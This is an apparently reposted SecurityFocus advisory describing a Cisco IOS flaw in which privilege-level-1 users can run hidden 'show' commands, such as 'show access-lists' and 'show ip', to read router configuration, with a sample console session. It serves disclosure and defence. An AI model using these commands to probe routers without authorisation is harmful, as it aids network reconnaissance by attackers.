Cisco Router Online Help Vulnerability

As taken from the original post on this vulnerability (See the Credit Section):


Routers tested: 2500, 2600, 3600, 4000, 7200, 7500 series,
running IOS 9.14, 11.1(21) (Distributed Director), 11.2(x)
and 12.0(x). Some were tested on the local console, some
over Telnet. We recently tested PIX 4.x, and found it was
NOT vulnerable.

A regular user will log-on with privilege level equal to 1.
This can be shown by running "show privilege" after logging
on the router. For example:

User Access Verification

Username: joeuser
Password: <password>
Router2>sh priv
Current privilege level is 1
Router2>

Now, if we try to get a list of all possible "show"
commands, by doing "show ?", we get:

Router2>show privilege
Current privilege level is 1
Router2>show ?
backup Backup status
cef Cisco Express Forwarding
clock Display the system clock
dialer Dialer parameters and statistics
flash: display information about flash: file
system
history Display the session command history
...

Notice that we did not see an "access-lists" option, so the
help system thinks we should not be able to run it...


However,

Router2>show privilege
Current privilege level is 1
Router2>show access-lists
Standard IP access list 10
permit 172.16.0.1
deny any
Extended IP access list eth0-IN
permit udp host 172.16.0.1 10.11.12.0 0.0.0.255 eq
snmp (14982 matches)
permit udp host 172.16.0.1 10.11.13.128 0.0.0.127 eq
snmp (4026 matches)

So, we can see the configuration, even though we shouldn't.
We can't alter it, but even seeing the access-list is
beneficial to an attacker.

Upon further testing on a 3640 running IOS 12.0(5), we got
the following results:

- We found 75 "show" commands that are supposed to be
available only in enable mode. Meaning: the difference
between "show ?" in enabled and disabled mode was this 75
commands

- Out of 75, only 13 were truly restricted. The other 62
were available to be viewed by a session in a disabled mode.

- Out of the 62 that were viewable, we counted 7 as being
potentially very dangerous. "show ip" is one of them, as
well as "show cdp", "show logging", "show cdp", "show
vlans". There are others, but I don't have my list with me
right now.

- By combining "show ip" and "show access-lists" we had a
very clear picture of how access-lists were distributed in
the router.


 

Privacy Statement
Copyright 2010, SecurityFocus